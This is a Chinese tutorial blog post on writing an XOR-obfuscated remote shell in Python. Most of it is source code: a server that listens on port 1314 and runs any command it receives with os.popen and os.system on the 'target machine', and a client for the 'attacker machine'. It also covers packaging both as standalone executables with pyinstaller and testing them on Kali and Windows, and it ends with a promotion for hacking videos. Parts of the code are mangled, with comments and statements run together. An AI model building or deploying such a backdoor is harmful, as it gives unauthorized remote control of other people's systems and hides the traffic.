python写加密shell实用教程!

作者:掌控安全-冰封小天堂

0x00:前言

正常一个网站分为服务端和客户端,因为是正向的,所以服务端是在目标机器上的,客户端则是攻击者机器上,在这里要感谢MiaGz大师傅,这里很多都是参考了MiaGz大师傅的文章写出来的,进行了一点个人修改,而其中的加密方法则是参考了hacking8.com中python安全工具编写里的方法

0x01:构造思路

服务端要开启指定的监听端口,然后等待客户端来连接,s_sock.listen决定了可以有多少客户端连接,因为客户端发来的数据是用异或加密的。所以我们需要用同样的异或进行解密,完成后再用utf-8解码,从而得到明文消息,然后判断是否是推出命令。如果是则结束循环,外部大循环因为用的是同一个也会停止,如果想要断开后他依然运行可以将他们控制循环用的换掉

服务端

import socket
import os

这部分是参数设置
地址因为是本机,所以可以用空,或者127.0.01,0.0.0.0等方式

Host = ‘’;
Port = 1314;

recv函数接受的最大数据量

bufsize = 8000;
将ip和端口作为元组里的两个元素给变量
ipport = (Host,Port);

初始化对象,设置的参数都是默认的

s_sock = 
socket.socket(socket.AF_INET,socket.SOCK_STREAM);

绑定地址到套接字

s_sock.bind(ipport);

控制最大可以有多少连接,也就是组多可以有五个客户端连接过来

s_sock.listen(5);

控制循环的值

stop = False;
while not stop:

#被动的接受TCP客户端的连接,返回来的是一个元组,第一个元素是对方连接设置的各种信息,给c_sock,
#第二个元素则是目标ip和目标通过那个端口过来的 c_sock,caddr = s_sock.accept()
#将ip和端口分别给一个变量 ip,port = caddr; print(’%s connection…’%(ip));
#死循环 while True:
try:
#接受客户端发来的消息,最大数据量为bufsize变量的值
data = c_sock.recv(bufsize);
except:
#如果出现异常就关闭连接,结束循环
c_sock.close();
break;
#使用bytearray函数,将收到的数据(data)转换为一个字节数组,并且是可以修改的,给变量ceshi
ceshi = bytearray(data);
#判断数组的长度,作为终值,因为终值是小于,而且是从0开始所以刚刚好
for i in range(len(ceshi)):
#此处就是进行一个异或等于xxx,等同于ceshi[i] = ceshi[i] ^ 0x41
#按位异或运算符:当两对应的二进位相异时,结果为1,它会将两边元素转换为二进制然后运算
# 0和1为1,0和0为0,1和1为0,1和0为1,也就是转换为二进制比较时候,不一样就为1,一样就是0
ceshi[i] ^= 0x41;
#decode方法的语法:str.decode(encoding=‘UTF-8’,errors=‘strict’)
#decode() 方法以 encoding指定编码格式来解码字符串。默认编码为字符串编码。
values = ceshi.decode();
#如果客户端发来的消息是quit,就会返回一个True给stop,不等于则返回一个False
stop = values == ‘quit’ or values == ‘exit’;
#如果发来的是quit或者exit,就结束循环
if stop:
break;
#popen()方法语法格式:os.popen(command[, mode[, bufsize]]),command – 使用的命令。mode – 模式权限可以是 ‘r’(默认) 或 ‘w’
#bufsize – 指明了文件需要的缓冲大小:0意味着无缓冲;1意味着行缓冲;其它正值表示使用参数大小的缓冲
#大概值,以字节为单位)。负的bufsize意味着使用系统的默认值,一般来说,对于tty设备,它是行缓冲;
#对于其它文件,它是全缓冲。如果没有改参数,使用系统的默认值。
#返回值为:execution succeed,中文意思是执行成功
value = os.popen(values);
#system方法,会将字符串转换成命令来执行,返回值为0,表示执行成功,返回其他的则表示失败
fh = os.system(values);
#判断执行成功没有
if fh == 0:
#调用read方法读取value的内容
value = value.read()
#如果读取的值为空,取反为真,如果读取不为空,取反为假,也就是如果是空的就给他一个字符串,如果不是空的就不用
if not value:
value = ‘execution succeed’;
#如果fh等于32512就提示,找不到命令
elif fh == 32512:
value = ‘sh: %s: command not found’%(values);
#再次调用bytearray方法,将value转换为一个字节数组,指定使用utf-8编码
hehe = bytearray(value,‘utf-8’);
#将编码的数据进行异或加密
for i in range(len(hehe)):
hehe[i] ^= 0x41;
#使用send方法发送给客户端
c_sock.send(hehe);
#内部循环结束的话就关闭这个连接 c_sock.close();

关闭连接

s_sock.close();

0x02:客户端部分

客户端去连接服务端,然后把命令发给服务端,然后接收服务端返回的数据

在通过异或,将其还原成明文打印出来,也可以不使用这种,而直接用base64,等其他加密,这里使用异或所以要将数据先转换成字节数组

然后一个一个字符的加密,如果使用base64等加密,则可以不转换成数组,直接加密一整句,这里因为要告诉服务端,我们退出了,

所以需要在发送数据后判断是否退出,因为发送的数据是加密后的,所以我们直接用未加密前的来判断,如果是退出,就结束循环关闭连接

客户端

import socket
import os

输入目标地址

Host = input(‘input server ip: ‘);

如果输入为空,那就设置为本地回环地址

if not Host:
Host = ‘127.0.0.1’;

连接的端口,注意是服务开启的端口才行,因为是我们过去连目标的ip和端口

Port = 1314;

addr得到一个元组,值分别是ip和端口,类型为元组

addr = (Host,Port);

初始化对象,设置的参数都是默认的

c_sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM);

设置控制循环的值

status = True;
try:

#调用connect方法连接目标地址和端口
c_sock.connect(addr);

except:

#如果连接失败,就执行这部分
print('%s 链接出问题了'%(Host));
#将控制循环的值改为False
status = False;

连接成功了执行

while status:

#获取要发给服务端的命令
value = input('[%s] Shell > '%(Host));
#将获取到的值用bytearray转换为一个字节数组,编码格式为utf-8,返回值就是  b'你的字符串'
encode = bytearray(value,'utf-8');
#使用len判断数组的长度,作为循环终值,因为是从0开始小于最大值,所以刚刚好
for i in range(len(encode)):
    #将数组的元素进行异或加密,然后在给数组,下面的相等encode[i] = encode[i] ^ 0x41;
    #异或(^)会将对比的两个参数转换为二进制,然后相同为0,相异为1,在将结果转会字符串
    #原理就是先转换为二进制,比如下面的,如果位数一样就是0,不一样就是1,此处用来进行加密我们发送的数据
    #60 = 0011 1100
    #13 = 0000 1101
    #   = 0011 0001
    encode[i] ^= 0x41;
#如果value得值是空的就取反为真,如果不为空就取反未假
#简单来说就是如果没输入东西就执行,跳过这次循环从新让你输入
if not value:
    continue;
#如果try范围内的代码出现异常什么的就终止,然后执行except中的代码
try:
    #将数据发送过去
    c_sock.send(encode);
    #判断输入的值是否为quit,如果是就结束for循环
    if value == 'quit' or value == 'exit':
        break;
    #使用recv方法接收TCP数据,最大接收数据量为10000
    data = c_sock.recv(10000);
    #将接收的数据,使用bytearray方法转换为一个字节数组,不需要参数uft-8,因为传过来的就是,加了反而有问题
    ceshi = bytearray(data)
    #进行一个循环解密,将收到的数据再次进行异或运算,从而还原明文
    for i in range(len(ceshi)):
        ceshi[i] ^= 0x41
    #输出数据,并使用decode方法来将数据解码为字符串
    print('%s OS : \n'%(Host),ceshi.decode());
#出现异常就这行这部分
except:
    print('%s 断开了连接'%(Host));
    #结束循环
    break;

关闭连接

c_sock.close();

0x03:进阶思路

这样一个简单的服务端和客户端就完成了,可是这种只能在装有python的环境下运行很不方便,

所以我们使用pyinstaller将他们编译成可执行文件,pyinstaller非常方便,而且跨平台,但是你在linux下编译出来的就是linux的,要exe的话要去wind下编译

pyinstaller命令有几个好用的参数,这里介绍几个,如果感兴趣的可以自行了解一下,因为是菜鸡新手,所以就用-F即可

-F 产生单个的可执行文件,也就是值有一个可执行文件,没有其他文件夹啥的
-D 产生一个目录(包含多个文件)作为可执行程序,就像一个大程序一样,有很多文件支持
-d 产生 debug 版本的可执行文件

这里我们把客户端编译一下,会输出很多详细信息

python写加密shell实用教程!

编译完成后会在你所在的目录下产生三个文件夹,分别是build、dist和pycache这三个,而我们的可执行文件就被放在dist中,进去就可以看到

python写加密shell实用教程!

编译服务端,比如这里我是在一个新建的空文件夹中编译的

python写加密shell实用教程!

我们这个目录下就产生了三个文件,其中我们的可执行程序在dist中,服务端.spec则是类似一个介绍文件,pycache文件则还是产生在你py文件的位置哪里,因为咱也是初学者,所以对着些并不了解,所以有些说错的地方还望指正

python写加密shell实用教程!

python写加密shell实用教程!

0x04:测试实例

测试是否可运行,先将服务端复制到另一个kali下,并给他执行权限
python写加密shell实用教程!

运行起来,没有报错保持这个就表示没问题
python写加密shell实用教程!

启动客户端来连接,发现可以单独启动,说明编译的没有问题

python写加密shell实用教程!

此处我也在wind下编译了一个服务端,然后尝试用kali上的客户端去连接也没有问题

python写加密shell实用教程!
python写加密shell实用教程!

不过在wind下有个小问题,那就是如果输入不存在的命令会直接断开,后来检查了代码,发现这里只设置了if和 elif,并没有遇到第三种情况,所以导致他就直接中断了,所以将服务端加入一个else条件即可
python写加密shell实用教程!

可以看到这下在任何情况下输入错误的命令也不会断开了

python写加密shell实用教程!python写加密shell实用教程!

黑客渗透视频教程,扫码免费领

python写加密shell实用教程!

上一篇:python 杂项


下一篇:TCP/IP 协议栈在 Linux 内核中的运行时序分析